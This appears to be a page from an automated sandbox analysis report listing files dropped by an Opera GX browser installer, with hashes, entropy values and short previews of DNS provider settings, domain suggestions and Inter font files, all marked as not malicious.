                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (347)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):801
                                                                                                                                                                                                              Entropy (8bit):5.495629414250427
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:+Y01zxc7Un9fG0M/MBh3ILSXaiSmAXSqA/Cj8:j2NkUtG5/cnXazmACjCj8
                                                                                                                                                                                                              MD5:4F98A7320537B24179D9860246E2D840
                                                                                                                                                                                                              SHA1:B727FDB4D25AA07E02464EAB8DAAE4DC663ED298
                                                                                                                                                                                                              SHA-256:574421B40CF123844F55A0A72AD5EC0BC9DEA3C8D823F8B7EC065D7B7C346175
                                                                                                                                                                                                              SHA-512:3F6273688F25D375974A18E554339B7F3E2F0BCEE19F31E265DD6256C3514A23B4980D4F2182A69AD5ADA95A2CAD8F94AC04B510A26954392626EBD28F54E5B4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// ia96yydt8bWv3y5ivc46+PdnIQFXt6cwopEjrrZk+GzzrDKmMzcyxK7YvTbpmIQjCw/QjXke1u1o3WiWeFr5+90QlOeWBJnZjzqILeh/ogmgCbB7hcNIVL31zrGZF+EyVVFZVRDsBx6pLCX3DEHKGrXNOb9epqcY2EwwM0goOtSqFoc+wlNrDRNwVOVT4GQ05GKThcHzHWSMu0DzC8Yd2II64XSFBsDM9U+HlrlASNhELQ31db0HJL0EWMcQc4sFM/DixX7TPvU/oKX35liQk8HEVxVrxhm612/tW8rZ54zab/O3RW1LE/23aLHU5jslgAI36CGRvXFeXlfeA51jJA==.{. "providers": [. {. "url": "https://cloudflare-dns.com/dns-query",. "ipv4": [. "1.1.1.1",. "1.0.0.1". ],. "ipv6": []. },. {. "url": "https://dns.google/dns-query",. "ipv4": [. "8.8.8.8",. "8.8.4.4". ],. "ipv6": []. },. {. "url": "https://dns.quad9.net/dns-query",. "ipv4": [. "9.9.9.9",. "149.112.112.112". ],. "ipv6": []. }. ].}

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\domain_suggestions.json

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):11626
                                                                                                                                                                                                              Entropy (8bit):6.0888959569937775
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:192:zvfkeB8VFTwnWIZaV3HFpVcluOlHMyywPhRmeOJodu399EGZMPtP:zvPgRxIZS3HFXQuOlHMgRmD6e9GCsd
                                                                                                                                                                                                              MD5:2F5136C14D7DC6E3CC79C6B54510680D
                                                                                                                                                                                                              SHA1:5187CE8D7897FBD9392B566576998DFFF33A3E6A
                                                                                                                                                                                                              SHA-256:6AF202C1D4FF3D20505814D3018748562BD67A44615D686DC316088A77229119
                                                                                                                                                                                                              SHA-512:A9398C09D70D14A09682778BFCC5415EA3539F960A44FC6B4FAA2F7C3F4E1C368525EE889696E6428297DCFB1F33B188AC12578352F725E81F0DB6938BC11F8B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:[. {. "url": "https://bestbuy.com",. "audit_id": "T57wbw2aOJR9jxXRgj+sZKk8FsoXHqe4TZddvID+93o=",. "title": "Bestbuy",. "favicon": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABwAAAAcCAIAAAD9b0jDAAADaklEQVR4nGL5//8/A7UBE9VNHDV0WBr6////f//+EaOSBUL9/Plz7YbNL169YmRgFBERdrSzuXr9xpVr1yGyUhISRob6W7btfPHqla62FjcX14NHjyBS3FxcoUEBwkKCWAz98fPn0lVrbt++qyAvd//hw2MnTjEzM23ZtlNZWZGLk0teTnb77r2Hjx5XkJf79OmzhLjYkWMn7ty7LyggoKej5e3hhmYowvuMDAxc3FxGhvpsrGzMzMyMjIwsrCxG+voOdtZRYcE/fvxgYmLU19WOCgsuLchtqq3k4uR0tLed0t8lLSWJL0y/f/t++85dFhbmr9++ffny9c+fv5evXjt1+uzff3/zszOsLS327DtYXFl35vwFLi4uBkYGNlZWHm4eJib0iEHh8/Hx+nq6S4iLHztx6vHTp2xsrK7ODiGB/r9//3n58pWxob66msqr16/v3rtPVEQxMTGJCAu/fvNuzoIljEyM3h6uDAwMnz59WbthMyMjo6KCvLCg4JHjJ3/9/mVhZmJvY/Xz5y8JcXF+fj5GRiyGMkJKqX///r189frSlaunz5xjYWWVkpSQl5X99//fkWMn9HS0FeRlT54++/nLlzdv3lqam/p4ul+/cWvj1m3Wlhb2Nlb4XCopIb573/7ZCxaLi4n++PGTn58vwNdr/uJl+VnpUlISE6bOcHGwf/P27dETp6QkJWfMmX/56nUfT3es3kcJU0jRamVhrqyk+Pnzlx8/fv4HeQQM//3n5+dPSYh7/+FDaXX94WMnwoL9tT

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Black.ttf

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:TrueType Font data, 17 tables, 1st "GDEF", 39 names, Microsoft, language 0x409, Copyright 2016 The Inter Project AuthorsInter BlackRegular4.000;git-a52131595;RSMS;Inter-BlackIn
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):414140
                                                                                                                                                                                                              Entropy (8bit):6.13273327924002
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:s3unFMi82w/+qnJWPziKSQSzzY6XqYQ0rBfmPbPGxGl36DNoAmFFhGj3k4yhP18:s3uV82wWqsPziK4zbBOPb96DNAV8
                                                                                                                                                                                                              MD5:4154321279162CEAC54088ECA13D3E59
                                                                                                                                                                                                              SHA1:5E5D8C866C2A7ABFD14A12DF505C4C419A2A56F7
                                                                                                                                                                                                              SHA-256:6BDEBEB76083E187C7AE59420BFC24E851EDB572E1A8D97C1C37B7B2DC26148C
                                                                                                                                                                                                              SHA-512:04CA175774CBE3F2D83543C01CC388E2715AB7B1378143DB41BACDC7E7EDDF05D3BEEF476F6ACBE7DDEB34861984EFB5FD7F299EC1820697C440B372D258AEE7
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............GDEF.m.v........GPOS<.,... ..@.GSUB..B..F...]@OS/2 .....\...`cmapL.........d.cvt P.....A....&fpgmb/....B.....gasp......A.....glyf.3.J......U.head0%.a..^T...6hhea......^....$hmtxE.)...^...-.loca.;w....h..-.maxp.t.....$... name.i-....D....post}.........xprepldhL..P..............................................................I...K...........................................J...L.Z...].f...i.w...z.|...~.................................................(...*.,.../.0...2.5...8.;...=.N...P.P...R.V...X.q...s.s...u.v...x.y...{........................................................................................... ...).).........0.3...5.5...:.:...<.?...A.C...K.K...M.M...Q.Q...S.T...[.[...].]...j.k...p.q...............%.%...).D...G.I...U.V...Z.b...d.u...x.z.......................................................................................P.P...i.............................................................`...c.............................................................!...#

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BlackItalic.ttf

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:TrueType Font data, 17 tables, 1st "GDEF", 38 names, Microsoft, language 0x409, Copyright 2016 The Inter Project AuthorsInter BlackItalic4.000;git-a52131595;RSMS;Inter-BlackIta
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):422324
                                                                                                                                                                                                              Entropy (8bit):6.159556140030877
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:PtBc7UQ0dNXWqSBQVUWrqIWqH70TVMYydoAF4N0ELhwnftLu+hNHzFxo5spvD3+p:Pt2+dRWqgVrwYygLhwnfhjh9fZ78
                                                                                                                                                                                                              MD5:C5C41F7587F272A4C43A265D0286F7BB
                                                                                                                                                                                                              SHA1:916224C963D04B93ED54CE7C201108F398E7E159
                                                                                                                                                                                                              SHA-256:D549110689CDDE0821CA2C7148F7B47A097166B4169786A4A9EDE675F5CE87F3
                                                                                                                                                                                                              SHA-512:D4B4D01088D9F506368DC19D709B4BA6BE764929B0DD05775841E14CBBEC674F216B81515AE529E95ABFD22ED2F3E2D2774363DD4284C8C8B57D203599555F76
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............GDEFj.`i........GPOS2-........?4GSUB*|.@..D<..[.OS/2 .B...,...`cmap^.........d.cvt O._..a....&fpgmb/....b.....gasp......a|....glyf5.........|.head0;.`...4...6hhea.......l...$hmtx..4.......-$loca.........-(maxp.D......... name!.,.........postz.........}.prepldhL..p..............................................................*...,.....................................;...>.H...J.X...[.]..._.`...b.y...{............................................................./...1.1...3.7...9.R...T.T...V.W...Y.Z...\.c...e.|...~............................................................................................................. ...".$...,.,.........2.2...4.5...<.<...>.>...K.L...Q.R.......................%...(.*...6.7...;.C...E.V...Y.[...g.h...m.n...q.s...........................................................................1.1...J.d...f.g...n.n...p.p.........................................A...D....................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Bold.ttf

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:TrueType Font data, 17 tables, 1st "GDEF", 35 names, Microsoft, language 0x409, Copyright 2016 The Inter Project AuthorsInterBold4.000;git-a52131595;RSMS;Inter-BoldInter BoldVe
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):415072
                                                                                                                                                                                                              Entropy (8bit):6.167283324857092
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:k9zC2w597PziK+bSvkK3sgUN8HkC48AeIVMhQ/8:e4iK+6I/8
                                                                                                                                                                                                              MD5:8F2869A84AD71F156A17BB66611EBE22
                                                                                                                                                                                                              SHA1:0325B9B3992FA2FDC9C715730A33135696C68A39
                                                                                                                                                                                                              SHA-256:0CB1BC1335372D9E3A0CF6F5311C7CCE87AF90D2A777FDEEC18BE605A2A70BC1
                                                                                                                                                                                                              SHA-512:3D4315D591DCF7609C15B3E32BCC234659FCDBE4BE24AEF5DBA4AD248AD42FD9AB082250244F99DC801EC21575B7400AACE50A1E8834D5C33404E76A0CAAC834
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............GDEF.m.v........GPOS\.N.... ..KhGSUB..B..P...]@OS/2 ..........`cmapL......(..d.cvt L.....E0...&fpgmb/....FX....gasp......E(....glyf(.........OXhead0|...bh...6hhea. ....b....$hmtxDt....b...-.loca.0.....|..-.maxp.t.....8... name.D.....X...Vpost}~.......xprepldhL..Td.............................................................I...K...........................................J...L.Z...].f...i.w...z.|...~.................................................(...*.,.../.0...2.5...8.;...=.N...P.P...R.V...X.q...s.s...u.v...x.y...{........................................................................................... ...).).........0.3...5.5...:.:...<.?...A.C...K.K...M.M...Q.Q...S.T...[.[...].]...j.k...p.q...............%.%...).D...G.I...U.V...Z.b...d.u...x.z.......................................................................................P.P...i.............................................................`...c.............................................................!...#

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-BoldItalic.ttf

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:TrueType Font data, 17 tables, 1st "GDEF", 34 names, Microsoft, language 0x409, Copyright 2016 The Inter Project AuthorsInterBold Italic4.000;git-a52131595;RSMS;Inter-BoldItali
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):420068
                                                                                                                                                                                                              Entropy (8bit):6.194498558176303
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:xg28OmWqgaGeWLF7k/oONd1P+yyZQl/xFiwRi98:SZG17k/oOX1PXyqCwRi98
                                                                                                                                                                                                              MD5:C4C47E3D7ED51A6BB67B7B8088A4B0E3
                                                                                                                                                                                                              SHA1:B190F4E4E8F838C46FFE9507D966EA4D8B37D8CE
                                                                                                                                                                                                              SHA-256:5E606F805A71432D4875DE7DAB737BF9DEA1187090F0A5190DA9B1BBAB09F57C
                                                                                                                                                                                                              SHA-512:B4251618479C52398CA71CFC61AD88230A14145771EF1085AB9288486D7BFC841F0EA222909F8BA6882DB6076DF26BFE37E1C23917569270C86D6E7ADEE7CF13
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............GDEFj.`i........GPOSU..F......IFGSUB*|.@..NP..[.OS/2 ......@...`cmap^.........d.cvt L.....X....&fpgmb/....Y.....gasp......X.....glyf.L.K...0..i.head0....x....6hhea......y....$hmtx...T..y<..-$loca..OH...`..-(maxp.D........ name..........bpostz.........}.prepldhL..g..............................................................*...,.....................................;...>.H...J.X...[.]..._.`...b.y...{............................................................./...1.1...3.7...9.R...T.T...V.W...Y.Z...\.c...e.|...~............................................................................................................. ...".$...,.,.........2.2...4.5...<.<...>.>...K.L...Q.R.......................%...(.*...6.7...;.C...E.V...Y.[...g.h...m.n...q.s...........................................................................1.1...J.d...f.g...n.n...p.p.........................................A...D....................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraBold.ttf

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:TrueType Font data, 17 tables, 1st "GDEF", 39 names, Microsoft, language 0x409, Copyright 2016 The Inter Project AuthorsInter ExtraBoldRegular4.000;git-a52131595;RSMS;Inter-Ext
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):416228
                                                                                                                                                                                                              Entropy (8bit):6.155971405270021
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:3VpTx/VCC2wfBsJWPziKSQVE58IqsfnHGR4tGX5/2nHTAl84RSnj3k4yhT18:3Vp+C2wfBDPziK+4suO49lfR98
                                                                                                                                                                                                              MD5:5061BD7701B1B3339F0C80E69A2136E4
                                                                                                                                                                                                              SHA1:4A028F1FA4DBD6B4BFBFEEC4A5B5E222A005B563
                                                                                                                                                                                                              SHA-256:3C13487B8F2EBA0A78CAD4CEFD19272B0F4E53D61C223E6B266DDF0B332E9F1C
                                                                                                                                                                                                              SHA-512:65875F9F205CD70D2E1B86FBDA2AC8875637E0B3E0BB37ADE9DA20717B0F17D2108A0CF2AA1B246AFFD73BEA233B510D37D13193801D94E5148D3EC4159653DC
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............GDEF.m.v........GPOSB...... ..KzGSUB..B..P...]@OS/2 |.........`cmapL......<..d.cvt NY....I....&fpgmb/....J.....gasp......I.....glyf.B....$..S(head0R...fL...6hhea...X..f....$hmtx:4.7..f...-.loca.>b....`..-.maxp.t......... name(.2X...<....post}.....4...xprepldhL..X..............................................................I...K...........................................J...L.Z...].f...i.w...z.|...~.................................................(...*.,.../.0...2.5...8.;...=.N...P.P...R.V...X.q...s.s...u.v...x.y...{........................................................................................... ...).).........0.3...5.5...:.:...<.?...A.C...K.K...M.M...Q.Q...S.T...[.[...].]...j.k...p.q...............%.%...).D...G.I...U.V...Z.b...d.u...x.z.......................................................................................P.P...i.............................................................`...c.............................................................!...#

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraBoldItalic.ttf

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:TrueType Font data, 17 tables, 1st "GDEF", 38 names, Microsoft, language 0x409, Copyright 2016 The Inter Project AuthorsInter ExtraBoldItalic4.000;git-a52131595;RSMS;Inter-Extr
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):422904
                                                                                                                                                                                                              Entropy (8bit):6.1847822896243585
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:EMPffL+f3H4g6WqgDVHqLhDj+359q7z8O8:1khq9Dj+3vrO8
                                                                                                                                                                                                              MD5:CDEF819CDB20F81FEB8A2ABDEBE9CDA0
                                                                                                                                                                                                              SHA1:EB61A79464DE3932A2D892BF50AD0270BE5791E2
                                                                                                                                                                                                              SHA-256:6A2CF89B061033C76C3CD7451113F3D8D29CE2C2E80B273FD60F9474E3927CBC
                                                                                                                                                                                                              SHA-512:04DE3B444603887E130870DC9FFF2F6798D737EA77A376C0A6D62C9114709F7891C95FA1BDDAB70FF055EBF127C6584CAECC594659F2E8596E72DA9D62D625E5
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............GDEFj.`i........GPOS..\>......I(GSUB*|.@..N0..[.OS/2 }..... ...`cmap^.........d.cvt N:....c....&fpgmb/....d.....gasp......c.....glyf..........t8head0h....H...6hhea...x.......$hmtx.)........-$loca..MD......-(maxp.D......... name+i1.........postz...... ..}.prepldhL..r..............................................................*...,.....................................;...>.H...J.X...[.]..._.`...b.y...{............................................................./...1.1...3.7...9.R...T.T...V.W...Y.Z...\.c...e.|...~............................................................................................................. ...".$...,.,.........2.2...4.5...<.<...>.>...K.L...Q.R.......................%...(.*...6.7...;.C...E.V...Y.[...g.h...m.n...q.s...........................................................................1.1...J.d...f.g...n.n...p.p.........................................A...D....................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraLight.ttf

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:TrueType Font data, 17 tables, 1st "GDEF", 39 names, Microsoft, language 0x409, Copyright 2016 The Inter Project AuthorsInter ExtraLightRegular4.000;git-a52131595;RSMS;Inter-Ex
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):409996
                                                                                                                                                                                                              Entropy (8bit):6.169466966393304
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:XmzU22mZrPziKScOkpPSb+sv9wKKpuLpuSZAoM8:yiKcFyKK9SZ7M8
                                                                                                                                                                                                              MD5:B7E44012C53F3BCBF154C7C4784FCC14
                                                                                                                                                                                                              SHA1:101ABFE1C234D9E29504A55C7B5911F7E20E9425
                                                                                                                                                                                                              SHA-256:944F65A7C6CDA135C370559E9D7347BFDD45A579FE4DD1EF8BA5BC679BCD961D
                                                                                                                                                                                                              SHA-512:67808D6BDAFE9BCF5576DF234C93611BC827D868DD9F0D064E801DDA5EFE67883637746458B3A0E51B4B394913C3AC47F56C5C055B3FF013ABEBB66EC9A7716F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............GDEF.m.v........GPOS{...... ..<^GSUB..B..A...]@OS/2.$.........`cmapL...... ..d.cvt D.....1\...&fpgmb/....2.....gasp......1T....glyf.I........I.head1....M....6hhea......N ...$hmtx......ND..-.loca.M.x..{...-.maxp.t......... name+.3.........post}F.........xprepldhL..@..............................................................I...K...........................................J...L.Z...].f...i.w...z.|...~.................................................(...*.,.../.0...2.5...8.;...=.N...P.P...R.V...X.q...s.s...u.v...x.y...{........................................................................................... ...).).........0.3...5.5...:.:...<.?...A.C...K.K...M.M...Q.Q...S.T...[.[...].]...j.k...p.q...............%.%...).D...G.I...U.V...Z.b...d.u...x.z.......................................................................................P.P...i.............................................................`...c.............................................................!...#

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-ExtraLightItalic.ttf

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:TrueType Font data, 17 tables, 1st "GDEF", 38 names, Microsoft, language 0x409, Copyright 2016 The Inter Project AuthorsInter ExtraLightItalic4.000;git-a52131595;RSMS;Inter-Ext
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):415636
                                                                                                                                                                                                              Entropy (8bit):6.1951511440882685
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:327hgoK+yjo8AiWXWqSBCVUWR2kg4yODRVP8UPLumxDaAan+LHvKLMQyaInxFfmo:323K+tiqWqg3FkgdW3xDayLi78
                                                                                                                                                                                                              MD5:9E18D79ED628E74CA5E2EE3BFD6446BD
                                                                                                                                                                                                              SHA1:BF763C5CC7C91BFEC5E8E42499CA20AEF4C8B942
                                                                                                                                                                                                              SHA-256:BB5488DEFD018CF6CEA85B431A40991F0AB8939C39025E835E809160DCD912A6
                                                                                                                                                                                                              SHA-512:35A128E169D7CBC551C0337D78996E2061F8165E1B61870634A1EE6715199507F5FA140177C8A821401EAA765FC16FCC73E0180A21004803F6FC69EF512737F3
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............GDEFj.`i........GPOS>.uG......:.GSUB*|.@..?...[.OS/2.%.........`cmap^......D..d.cvt D.....Gd...&fpgmb/....H.....gasp......G\....glyf*#:]......f.head1....f....6hhea.w....g....$hmtxe2.{..g4..-$loca...d...X..-(maxp.D......... name-.3z........postz[.<.....}.prepldhL..V..............................................................*...,.....................................;...>.H...J.X...[.]..._.`...b.y...{............................................................./...1.1...3.7...9.R...T.T...V.W...Y.Z...\.c...e.|...~............................................................................................................. ...".$...,.,.........2.2...4.5...<.<...>.>...K.L...Q.R.......................%...(.*...6.7...;.C...E.V...Y.[...g.h...m.n...q.s...........................................................................1.1...J.d...f.g...n.n...p.p.........................................A...D....................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Italic.ttf

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:TrueType Font data, 17 tables, 1st "GDEF", 34 names, Microsoft, language 0x409, Copyright 2016 The Inter Project AuthorsInterItalic4.000;git-a52131595;RSMS;Inter-ItalicInter It
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):412848
                                                                                                                                                                                                              Entropy (8bit):6.2017904291058406
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:C2vSKsOi+1iqWqgfYs0S2S7vWAlcBJPH8:1PqIS2S7v3lcB98
                                                                                                                                                                                                              MD5:118ABBE34A2979B66D6838805C56B7CD
                                                                                                                                                                                                              SHA1:7F320CB81660FC6DFF9CC5751F8FCC0134847C77
                                                                                                                                                                                                              SHA-256:D054D998AE12BE33820B100E0ED3923D513FA5C79C6D4E7CA1953AFEB262EA9B
                                                                                                                                                                                                              SHA-512:5BCAD4A03CED2CE76C5EBF78CD2C1328A4EE27019807F56A48BF8A0F936C57F351F10726C176952F0CF08776A5CE53D34C14D6A848925BE2789408A61678F381
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............GDEFj.`i........GPOS.}.......7.GSUB*|.@..<...[.OS/2.........`cmap^.........d.cvt H.6..<....&fpgmb/....=.....gasp......<x....glyf........._Lhead0..i..\....6hhea.?....]....$hmtxF)...],..-$loca.k6....P..-(maxp.D.....x... name...........>postzz.{......}.prepldhL..K..............................................................*...,.....................................;...>.H...J.X...[.]..._.`...b.y...{............................................................./...1.1...3.7...9.R...T.T...V.W...Y.Z...\.c...e.|...~............................................................................................................. ...".$...,.,.........2.2...4.5...<.<...>.>...K.L...Q.R.......................%...(.*...6.7...;.C...E.V...Y.[...g.h...m.n...q.s...........................................................................1.1...J.d...f.g...n.n...p.p.........................................A...D....................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Light.ttf

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:TrueType Font data, 17 tables, 1st "GDEF", 39 names, Microsoft, language 0x409, Copyright 2016 The Inter Project AuthorsInter LightRegular4.000;git-a52131595;RSMS;Inter-LightIn
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):408364
                                                                                                                                                                                                              Entropy (8bit):6.1740190502785195
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:oeroPfXwF22mZ8JWPziKSQYfW0LXYveHt+47O3YqF5nxeU2h8jjXVymj3k4yhb18:ovw22mZzPziKYW0jYves4I2n8
                                                                                                                                                                                                              MD5:FF5FDC6F42C720A3EBD7B60F6D605888
                                                                                                                                                                                                              SHA1:460C18DDF24846E3D8792D440FD9A750503AEF1B
                                                                                                                                                                                                              SHA-256:1936D24CB0F4CE7006E08C6EF4243D2E42A7B45F2249F8FE54D92F76A317DFD1
                                                                                                                                                                                                              SHA-512:D3D333B1627D597C83A321A3DACA38DF63EA0F7CAB716006935905B8170379EC2AAB26CB7FFC7B539CA272CF7FB7937198AEE6DB3411077BEDF3D2B920D078A3
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............GDEF.m.v........GPOS,F.P... ..=<GSUB..B..B\..]@OS/2...2.......`cmapL.........d.cvt F..,..*....&fpgmb/....,$....gasp......*.....glyf:;........B.head0....G....6hhea......G....$hmtx..Zi..H ..-.loca.&9...u...-.maxp.t......... name..-.........post}U.7...|...xprepldhL..:0.............................................................I...K...........................................J...L.Z...].f...i.w...z.|...~.................................................(...*.,.../.0...2.5...8.;...=.N...P.P...R.V...X.q...s.s...u.v...x.y...{........................................................................................... ...).).........0.3...5.5...:.:...<.?...A.C...K.K...M.M...Q.Q...S.T...[.[...].]...j.k...p.q...............%.%...).D...G.I...U.V...Z.b...d.u...x.z.......................................................................................P.P...i.............................................................`...c.............................................................!...#

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-LightItalic.ttf

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:TrueType Font data, 17 tables, 1st "GDEF", 38 names, Microsoft, language 0x409, Copyright 2016 The Inter Project AuthorsInter LightItalic4.000;git-a52131595;RSMS;Inter-LightIta
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):415024
                                                                                                                                                                                                              Entropy (8bit):6.199271793956543
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6144:BgWQyjI8Ai+XWqSBxVUW+EuzZKKH+XgoniJ2D5L2kZSVbnN90oGPP3+4yCT18:BgWQtiiWqgsR3n+XgZJ2xqu58
                                                                                                                                                                                                              MD5:4B1FFAD3C0075AF22674765FF1EE2F56
                                                                                                                                                                                                              SHA1:1F7B05D0ED1C6C15736115A59AD844ADEA5F1F66
                                                                                                                                                                                                              SHA-256:FE3714926082AC5764327E3B67AE52CB6F0CF6B8C4221C064A6CACF821079414
                                                                                                                                                                                                              SHA-512:427DB3FE5860676FAB65A9B895D205620A1EC0AA172F45AA9ECEF261820E25B84F3413BC5D0A9D0C1311422A8DA1F5706AC4F6211A60AACC82974CF00FF036A4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............GDEFj.`i........GPOS...C......;\GSUB*|.@..@d..[.OS/2...S...T...`cmap^.........d.cvt F..$..E....&fpgmb/....F(....gasp......D.....glyf..t....D..clhead1 ...d....6hhea.i....d....$hmtxU.b...e...-$loca.......0..-(maxp.D.....X... name!A-....x....postzj.\...X..}.prepldhL..T4.............................................................*...,.....................................;...>.H...J.X...[.]..._.`...b.y...{............................................................./...1.1...3.7...9.R...T.T...V.W...Y.Z...\.c...e.|...~............................................................................................................. ...".$...,.,.........2.2...4.5...<.<...>.>...K.L...Q.R.......................%...(.*...6.7...;.C...E.V...Y.[...g.h...m.n...q.s...........................................................................1.1...J.d...f.g...n.n...p.p.........................................A...D....................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\fonts\Inter-Medium.ttf

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:TrueType Font data, 17 tables, 1st "GDEF", 39 names, Microsoft, language 0x409, Copyright 2016 The Inter Project AuthorsInter MediumRegular4.000;git-a52131595;RSMS;Inter-Medium
